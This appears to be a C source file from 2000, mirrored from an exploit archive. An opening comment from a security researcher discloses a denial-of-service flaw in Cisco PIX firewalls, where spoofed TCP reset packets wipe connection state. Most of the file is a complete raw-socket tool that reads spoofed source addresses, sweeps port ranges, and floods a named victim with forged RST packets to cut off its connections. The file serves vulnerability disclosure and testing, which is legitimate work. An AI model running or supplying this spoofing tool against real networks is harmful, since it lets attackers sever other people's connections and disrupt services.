/* reset_state.c (c) 2000 Citec Network Securities */ /* The code following below is copyright Citec Network Securities */ /* Code was developed for testing, and is written to compile under */ /* FreeBSD */ /* Hi All, just a bit of a security notification. Cisco has been informed of this problem and Im waiting for a fix for the problem, Ive also noted that various other firewalls are effected by this code, though if you wanna know if whatever you are running is effected, you will have to test it. A brief rundown of the problem. If you run routable ips on your internal interface on your pix, and routeable ips on your external interface, so the pix is not running nat, the pix keeps a state table of everything going on. Anything that is not in your state table that attempts to come in from the outside is denied, even if there is a conduit in place to permit anything. Which means that you have to establish a connection from your internal network to your external network before anything external can send data back. This is a really nice feature, unfortunatly there is a big of a bug that I found in this. While testing on in house equipment for possible flaws, as we continually test various products, I found the following. On recieving a RST packet (TCP Reset) from a given host with the correct source and destination port, the PIX will drop the state entry for that particular connection, which means the tcp connection dies due to the fact that no state entry the external box can no longer talk to the internal box. So, if we take a standard raw ip packet, give it a tcp header, and set the source ip as a machine that your internal box is connected to, and the destination ip as your internal machine, set the source port on the spoofed ip as the port the person is connected to, set your destination port on your destination ip cyclically to possible source ports on his side, and send resets, it will drop the persons state table entry, cutting him off from the box he is connected to. Now, the one question I asked when I wrote this, is why does this work, why is there no seq/ack checking on RST packets, this was answered in the TCP RFC, saying that seq/ack numbers are not checked on RST packets, however they are checked on FIN packets, hence using FIN packets for this test is futile without sequence prediction code. There is a simple work around for this problem however, and anyone wishing to know the details of that is free to email me at andrew@cnsec.co.za for details. Below I have posted example code to show the exploit and how it works, and hopefully this will be useful to someone on this list and help fix a fairly nasty denial of service problem. Many Thanks Andrew Alston Citec Network Securities (Director) Phone: (011) 787 4241 Fax: (011) 787 4259 Email: andrew@cnsec.co.za */ #define __BSD_SOURCE #include #include #include #include #include #include #include #include #include #include #include #include #include #include struct slist { struct in_addr spoof; struct slist *link; } ; /* Spoof list */ int main(int argc, char *argv[]) { int i, int2; int sock; /* Socket stuff */ int on = 1; /* Socket stuff */ struct sockaddr_in sockstruct; /* Socket stuff */ struct ip *iphead; /* IP Header pointer */ struct tcphdr *tcphead; /* TCP Header pointer */ char evilpacket[sizeof(struct ip) + sizeof(struct tcphdr)]; /* Our reset packet */ int seq, ack; /* Sequence and Acknowledgement #'s */ FILE *spooffile; /* Spoof file */ char *buffer; /* Spoof file read buffer */ struct slist *scur, *sfirst; /* Spoof linked list pointers */ char src[20], dst[20]; /* Work around for inet_ntoa static */ /* Pointers when using printf() */ int sourcefrom, sourceto, destfrom, destto; /* CMD Line ports */ int target; /* Target address from inet_addr() */ if(argc < 6) { fprintf(stderr, "Usage: %s spoof_file target sps spe dps dpe\n" "target = your victim\n" "sps = Source port start\n" "spe = Source port end\n" "dps = Destination port start\n" "dpe = Destination port end\n", argv[0]); exit(-1); } else { sourcefrom = atoi(argv[3]); sourceto = atoi(argv[4]); destfrom = atoi(argv[5]); destto = atoi(argv[6]); }; if(sourcefrom > sourceto) { printf("Error, start source port must be less than end source port\n"); exit(-1); } else if(destfrom > destto) { printf("Error, start dest port must be less than end dest port\n"); exit(-1); }; printf("Used spoof file %s\n" "Destination: [%s] ports: [%d -> %d]\n" "Target source ports: [%d -> %d]\n", argv[1], argv[2], destfrom, destto, sourcefrom, sourceto); sleep(1); bzero(evilpacket, sizeof(evilpacket)); /* Clean our reset packet */ sfirst = malloc(sizeof(struct slist)); scur = sfirst; scur->link = NULL; /* Setup our spoof linked list */ if(!(buffer = malloc(25))) { perror("malloc"); exit(-1); } ; /* Allocate for read buffer */ if ((spooffile = fopen((char *) argv[1], "r")) <= 0) { perror("fopen"); exit(-1); /* Open our spoof file */ } else { while (fgets(buffer, 25, spooffile)) { /* Read till EOF */ if (!(inet_aton(buffer, &(scur->spoof)))) printf("Invalid address found in victim file.. ignoring\n"); else { scur->link = malloc(sizeof(struct slist)); scur = scur->link; scur->link = NULL; /* Cycle l.list */ } } ; /* End of while loop */ } ; /* End of if {} else {} */ free(buffer); /* Free up our read buffer */ fclose(spooffile); /* Close our spoof file */ scur = sfirst; /* Set spoof list current to first */ if ((sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0) { perror("socket"); exit(-1); } /* Allocate our raw socket */ if (setsockopt(sock, IPPROTO_IP, IP_HDRINCL, (char *) &on, sizeof(on)) < 0) { perror("setsockopt"); exit(-1); } /* Set socket options for raw iphead */ sockstruct.sin_family = AF_INET; iphead = (struct ip *) evilpacket; tcphead = (struct tcphdr *) (evilpacket + sizeof(struct ip)); /* Align ip and tcp headers */ iphead->ip_hl = 5; /* Ip header length is 5 */ iphead->ip_v = 4; /* ipv4 */ iphead->ip_len = sizeof(struct ip) + sizeof(struct tcphdr); /* Length of our total packet */ iphead->ip_id = htons(getpid()); /* Packet ID == PID # */ iphead->ip_ttl = 255; /* Time to live == 255 */ iphead->ip_p = IPPROTO_TCP; /* TCP Packet */ iphead->ip_sum = 0; /* No checksum */ iphead->ip_tos = 0; /* 0 Type of Service */ iphead->ip_off = 0; /* Offset is 0 */ tcphead->th_win = htons(512); /* TCP Window is 512 */ tcphead->th_flags = TH_RST; /* Reset packet */ tcphead->th_off = 0x50; /* TCP Offset 0x50 */ iphead->ip_dst.s_addr = inet_addr(argv[2]); srand(getpid()); /* Seed for rand() */ while (scur->link != NULL) { seq = rand() % time(NULL); /* Randomize our #'s */ ack = rand() % time(NULL); /* Randomize ack #'s */ sockstruct.sin_port = htons(rand() % time(NULL)); iphead->ip_src = scur->spoof; /* Set the spoofed address */ sockstruct.sin_addr = scur->spoof; for(i = sourcefrom; i <= sourceto; i++) { for(int2 = destfrom; int2 <= destto; int2++) { usleep(2); /* Sleep 5ms between packets */ seq += (rand() %10)+250; ack += (rand() %10)+250; tcphead->th_seq = htonl(seq); /* Set sequence number */ tcphead->th_ack = htonl(ack); /* Set ack number */ tcphead->th_dport = htons(int2); /* Set destination port */ tcphead->th_sport = htons(i); /* Set source port */ snprintf(src, 20, "%s", inet_ntoa(iphead->ip_src)); snprintf(dst, 20, "%s", inet_ntoa(iphead->ip_dst)); /* Copy info to src and dst for printing */ printf("TCP RESET: [%s:%d] -> [%s:%d]\n", src, ntohs(tcphead->th_sport), dst, ntohs(tcphead->th_dport)); sendto(sock, &evilpacket, sizeof(evilpacket), 0x0, (struct sockaddr *) & sockstruct, sizeof(sockstruct)); /* Send our evil packet */ }; }; scur = scur->link; /* Cycle the spoof ips */ } scur = sfirst; return (1); }; /* www.hack.co.za [20 May 2000]*/